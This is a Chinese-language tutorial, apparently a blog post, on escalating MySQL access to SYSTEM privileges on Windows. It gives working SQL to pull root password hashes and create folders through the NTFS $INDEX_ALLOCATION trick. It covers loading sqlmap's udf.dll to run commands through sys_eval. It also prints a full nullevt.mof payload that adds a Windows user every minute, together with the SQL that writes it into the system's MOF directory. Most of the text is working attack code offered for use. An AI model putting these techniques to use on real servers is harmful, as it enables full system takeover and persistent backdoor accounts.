一、Mysql提权的必备条件
要进行Mysql提权,需要满足以下条件:
- Mysql的服务没有降权,并且需要获取Mysql root账号密码。可使用net user命令查看系统当前账号,若出现Mysql这类用户,则系统可能进行了降权。
二、Mysql密码查询
- 查询root密码:
- MySQL <= 5.6 版本:
select user,password from mysql.user where user='root';
- MySQL >= 5.7 版本:
select host,user,authentication_string from mysql.user;
- 将hash放入md5网站破解。
- MySQL <= 5.6 版本:
三、利用NTFS特性创建文件夹
- 创建lib文件夹:
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
- 创建plugin文件夹:
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
四、常用的SQL基础查询命令
- 查看数据库路径:
select @@datadir;
- 查看插件的路径:
show variables like '%plugins%';
- 查看Mysql的安装路径:
select @@basedir;
- 查看当前操作系统多少位:
select @@version_compile_os;
UDF提权
一、原理
UDF(User Defined Function)是Mysql的一个拓展接口,通过自定义函数,可以实现Mysql中无法方便实现的功能。利用UDF可以将Mysql账号转换为system权限。
二、UDF动态链接库的位置
UDF动态链接库位于sqlmap根目录的/data/udf/mysql下。为防止误杀,sqlmap中自带的动态链接库经过编码处理,需使用cloak.py进行解码。
三、UDF提权的条件
- 若Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下。
- 若Mysql版本小于5.1,将udf.dll放入Windows系统下的相应目录。
- 具有Mysql的insert和delete权限,以创建和抛弃函数,一般以root账号为最佳。
- 拥有可以将udf.dll写入相应目录的权限。
四、UDF提权过程
- 将UDF动态链接库写入相应目录。
- 创建函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
- 查看是否成功导入函数:
select * from mysql.func;
- 执行提权操作:
select sys_eval('whoami')
五、无法直接连接目标Mysql的处理方法
- 使用udf.php。
- 使用Navicat MySQL的隧道功能,传入ntunnel_mysql.php文件,然后使用工具连接。
MOF提权
一、原理
利用c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟执行一次,以系统权限执行命令。
二、提权的条件
- Windows 03及以下版本。
- Mysql启动身份具有权限读写c:/windows/system32/wbem/mof/目录。
- secure-file-priv参数不为null。
三、nullevt.mof的利用代码
<code>#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };</code>
四、上传MOF
使用sql语句将文件导入到c:/windows/system32/wbem/mof/目录。
<code>select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"</code>
五、关于MOF提权的弊端
成功提权后,即使被删除,nullevt.mof也会在五秒内重建原账号。为避免测试造成困扰,需谨慎使用。可通过以下命令删除入侵账号:
<code>net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt</code>
参考链接:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
暂无评论内容